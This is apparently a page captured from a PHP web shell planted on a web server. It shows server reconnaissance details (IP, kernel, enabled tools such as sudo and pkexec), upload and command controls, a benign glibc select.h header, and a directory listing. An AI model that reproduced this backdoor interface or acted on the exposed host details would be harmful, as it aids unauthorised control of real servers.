p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/sys/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/include/sys/select.h
/* `fd_set' type and related macros, and `select'/`pselect' declarations.
   Copyright (C) 1996-2003, 2009, 2011 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

/*	POSIX 1003.1g: 6.2 Select from File Descriptor Sets <sys/select.h>  */

#ifndef _SYS_SELECT_H
#define _SYS_SELECT_H	1

#include <features.h>

/* Get definition of needed basic types.  */
#include <bits/types.h>

/* Get __FD_* definitions.  */
#include <bits/select.h>

/* Get __sigset_t.  */
#include <bits/sigset.h>

#ifndef __sigset_t_defined
# define __sigset_t_defined
typedef __sigset_t sigset_t;
#endif

/* Get definition of timer specification structures.  */
#define __need_time_t
#define __need_timespec
#include <time.h>
#define __need_timeval
#include <bits/time.h>

#ifndef __suseconds_t_defined
typedef __suseconds_t suseconds_t;
# define __suseconds_t_defined
#endif


/* The fd_set member is required to be an array of longs.  */
typedef long int __fd_mask;

/* Some versions of <linux/posix_types.h> define this macros.  */
#undef	__NFDBITS
/* It's easier to assume 8-bit bytes than to get CHAR_BIT.  */
#define __NFDBITS	(8 * (int) sizeof (__fd_mask))
#define	__FD_ELT(d)	((d) / __NFDBITS)
#define	__FD_MASK(d)	((__fd_mask) 1 << ((d) % __NFDBITS))

/* fd_set for select and pselect.  */
typedef struct
  {
    /* XPG4.2 requires this member name.  Otherwise avoid the name
       from the global namespace.  */
#ifdef __USE_XOPEN
    __fd_mask fds_bits[__FD_SETSIZE / __NFDBITS];
# define __FDS_BITS(set) ((set)->fds_bits)
#else
    __fd_mask __fds_bits[__FD_SETSIZE / __NFDBITS];
# define __FDS_BITS(set) ((set)->__fds_bits)
#endif
  } fd_set;

/* Maximum number of file descriptors in `fd_set'.  */
#define	FD_SETSIZE		__FD_SETSIZE

#ifdef __USE_MISC
/* Sometimes the fd_set member is assumed to have this type.  */
typedef __fd_mask fd_mask;

/* Number of bits per word of `fd_set' (some code assumes this is 32).  */
# define NFDBITS		__NFDBITS
#endif


/* Access macros for `fd_set'.  */
#define	FD_SET(fd, fdsetp)	__FD_SET (fd, fdsetp)
#define	FD_CLR(fd, fdsetp)	__FD_CLR (fd, fdsetp)
#define	FD_ISSET(fd, fdsetp)	__FD_ISSET (fd, fdsetp)
#define	FD_ZERO(fdsetp)		__FD_ZERO (fdsetp)


__BEGIN_DECLS

/* Check the first NFDS descriptors each in READFDS (if not NULL) for read
   readiness, in WRITEFDS (if not NULL) for write readiness, and in EXCEPTFDS
   (if not NULL) for exceptional conditions.  If TIMEOUT is not NULL, time out
   after waiting the interval specified therein.  Returns the number of ready
   descriptors, or -1 for errors.

   This function is a cancellation point and therefore not marked with
   __THROW.  */
extern int select (int __nfds, fd_set *__restrict __readfds,
		   fd_set *__restrict __writefds,
		   fd_set *__restrict __exceptfds,
		   struct timeval *__restrict __timeout);

#ifdef __USE_XOPEN2K
/* Same as above only that the TIMEOUT value is given with higher
   resolution and a sigmask which is been set temporarily.  This version
   should be used.

   This function is a cancellation point and therefore not marked with
   __THROW.  */
extern int pselect (int __nfds, fd_set *__restrict __readfds,
		    fd_set *__restrict __writefds,
		    fd_set *__restrict __exceptfds,
		    const struct timespec *__restrict __timeout,
		    const __sigset_t *__restrict __sigmask);
#endif


/* Define some inlines helping to catch common problems.  */
#if __USE_FORTIFY_LEVEL > 0 && defined __GNUC__
# include <bits/select2.h>
#endif

__END_DECLS

#endif /* sys/select.h */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:20
0 / 0
0755
acct.h
3.253 KB
June 04 2024 14:43:12
0 / 0
0644
auxv.h
1.22 KB
June 04 2024 14:43:12
0 / 0
0644
bitypes.h
0.084 KB
June 04 2024 14:43:44
0 / 0
0644
cdefs.h
14.393 KB
June 04 2024 14:43:12
0 / 0
0644
debugreg.h
3.491 KB
June 04 2024 14:43:12
0 / 0
0644
dir.h
0.9 KB
June 04 2024 14:43:12
0 / 0
0644
elf.h
0.999 KB
June 04 2024 14:43:12
0 / 0
0644
epoll.h
4.344 KB
June 04 2024 14:43:12
0 / 0
0644
errno.h
0.019 KB
June 04 2024 14:43:08
0 / 0
0644
eventfd.h
1.357 KB
June 04 2024 14:43:12
0 / 0
0644
fanotify.h
1.256 KB
June 04 2024 14:43:12
0 / 0
0644
fcntl.h
0.019 KB
June 04 2024 14:43:11
0 / 0
0644
file.h
1.649 KB
June 04 2024 14:43:12
0 / 0
0644
fsuid.h
1.172 KB
June 04 2024 14:43:12
0 / 0
0644
gmon.h
5.966 KB
June 04 2024 14:43:13
0 / 0
0644
gmon_out.h
2.574 KB
June 04 2024 14:43:13
0 / 0
0644
inotify.h
3.747 KB
June 04 2024 14:43:12
0 / 0
0644
io.h
4.966 KB
June 04 2024 14:43:12
0 / 0
0644
ioctl.h
1.717 KB
June 04 2024 14:43:12
0 / 0
0644
ipc.h
1.604 KB
June 04 2024 14:43:12
0 / 0
0644
kd.h
1.092 KB
June 04 2024 14:43:12
0 / 0
0644
kdaemon.h
1.075 KB
June 04 2024 14:43:12
0 / 0
0644
klog.h
1.176 KB
June 04 2024 14:43:12
0 / 0
0644
mman.h
5.436 KB
June 04 2024 14:43:12
0 / 0
0644
mount.h
5.505 KB
June 04 2024 14:43:12
0 / 0
0644
msg.h
2.351 KB
June 04 2024 14:43:12
0 / 0
0644
mtio.h
10.901 KB
June 04 2024 14:43:12
0 / 0
0644
param.h
2.959 KB
June 04 2024 14:43:12
0 / 0
0644
pci.h
0.896 KB
June 04 2024 14:43:12
0 / 0
0644
perm.h
1.106 KB
June 04 2024 14:43:12
0 / 0
0644
personality.h
2.559 KB
June 04 2024 14:43:12
0 / 0
0644
poll.h
2.574 KB
June 04 2024 14:43:11
0 / 0
0644
prctl.h
1.034 KB
June 04 2024 14:43:12
0 / 0
0644
procfs.h
4.854 KB
June 04 2024 14:43:12
0 / 0
0644
profil.h
1.907 KB
June 04 2024 14:43:13
0 / 0
0644
ptrace.h
6.613 KB
June 04 2024 14:43:12
0 / 0
0644
queue.h
19.081 KB
June 04 2024 14:43:12
0 / 0
0644
quota.h
7.718 KB
June 04 2024 14:43:12
0 / 0
0644
raw.h
1.148 KB
June 04 2024 14:43:12
0 / 0
0644
reboot.h
1.594 KB
June 04 2024 14:43:12
0 / 0
0644
reg.h
1.783 KB
June 04 2024 14:43:12
0 / 0
0644
resource.h
3.585 KB
June 04 2024 14:43:12
0 / 0
0644
select.h
4.106 KB
June 04 2024 14:43:12
0 / 0
0644
sem.h
2.009 KB
June 04 2024 14:43:12
0 / 0
0644
sendfile.h
1.773 KB
June 04 2024 14:43:11
0 / 0
0644
shm.h
1.855 KB
June 04 2024 14:43:12
0 / 0
0644
signal.h
0.02 KB
June 04 2024 14:43:08
0 / 0
0644
signalfd.h
1.572 KB
June 04 2024 14:43:12
0 / 0
0644
socket.h
10.237 KB
June 04 2024 14:43:12
0 / 0
0644
socketvar.h
0.138 KB
June 04 2024 14:43:12
0 / 0
0644
soundcard.h
0.028 KB
June 04 2024 14:43:12
0 / 0
0644
stat.h
16.231 KB
June 04 2024 14:43:11
0 / 0
0644
statfs.h
2.056 KB
June 04 2024 14:43:11
0 / 0
0644
statvfs.h
2.771 KB
June 04 2024 14:43:11
0 / 0
0644
swap.h
1.573 KB
June 04 2024 14:43:12
0 / 0
0644
syscall.h
1.316 KB
June 04 2024 14:43:12
0 / 0
0644
sysctl.h
1.976 KB
June 04 2024 14:43:12
0 / 0
0644
sysinfo.h
1.488 KB
June 04 2024 14:43:12
0 / 0
0644
syslog.h
7.521 KB
June 04 2024 14:43:12
0 / 0
0644
sysmacros.h
2.493 KB
June 04 2024 14:43:11
0 / 0
0644
termios.h
0.072 KB
June 04 2024 14:43:11
0 / 0
0644
time.h
6.54 KB
June 04 2024 14:43:10
0 / 0
0644
timeb.h
1.366 KB
June 04 2024 14:43:10
0 / 0
0644
timerfd.h
1.695 KB
June 04 2024 14:43:12
0 / 0
0644
times.h
1.587 KB
June 04 2024 14:43:11
0 / 0
0644
timex.h
2.142 KB
June 04 2024 14:43:10
0 / 0
0644
ttychars.h
2.44 KB
June 04 2024 14:43:11
0 / 0
0644
ttydefaults.h
3.484 KB
June 04 2024 14:43:11
0 / 0
0644
types.h
6.612 KB
June 04 2024 14:43:11
0 / 0
0644
ucontext.h
5.259 KB
June 04 2024 14:43:08
0 / 0
0644
uio.h
4.607 KB
June 04 2024 14:43:12
0 / 0
0644
ultrasound.h
0.029 KB
June 04 2024 14:43:12
0 / 0
0644
un.h
1.431 KB
June 04 2024 14:43:12
0 / 0
0644
unistd.h
0.02 KB
June 04 2024 14:43:11
0 / 0
0644
user.h
5.085 KB
June 04 2024 14:43:12
0 / 0
0644
ustat.h
1.12 KB
June 04 2024 14:43:12
0 / 0
0644
utsname.h
2.437 KB
June 04 2024 14:43:11
0 / 0
0644
vfs.h
0.157 KB
June 04 2024 14:43:11
0 / 0
0644
vlimit.h
1.848 KB
June 04 2024 14:43:12
0 / 0
0644
vm86.h
1.17 KB
June 04 2024 14:43:12
0 / 0
0644
vt.h
0.021 KB
June 04 2024 14:43:12
0 / 0
0644
vtimes.h
2.417 KB
June 04 2024 14:43:12
0 / 0
0644
wait.h
6.44 KB
June 04 2024 14:43:11
0 / 0
0644
xattr.h
4.137 KB
June 04 2024 14:43:12
0 / 0
0644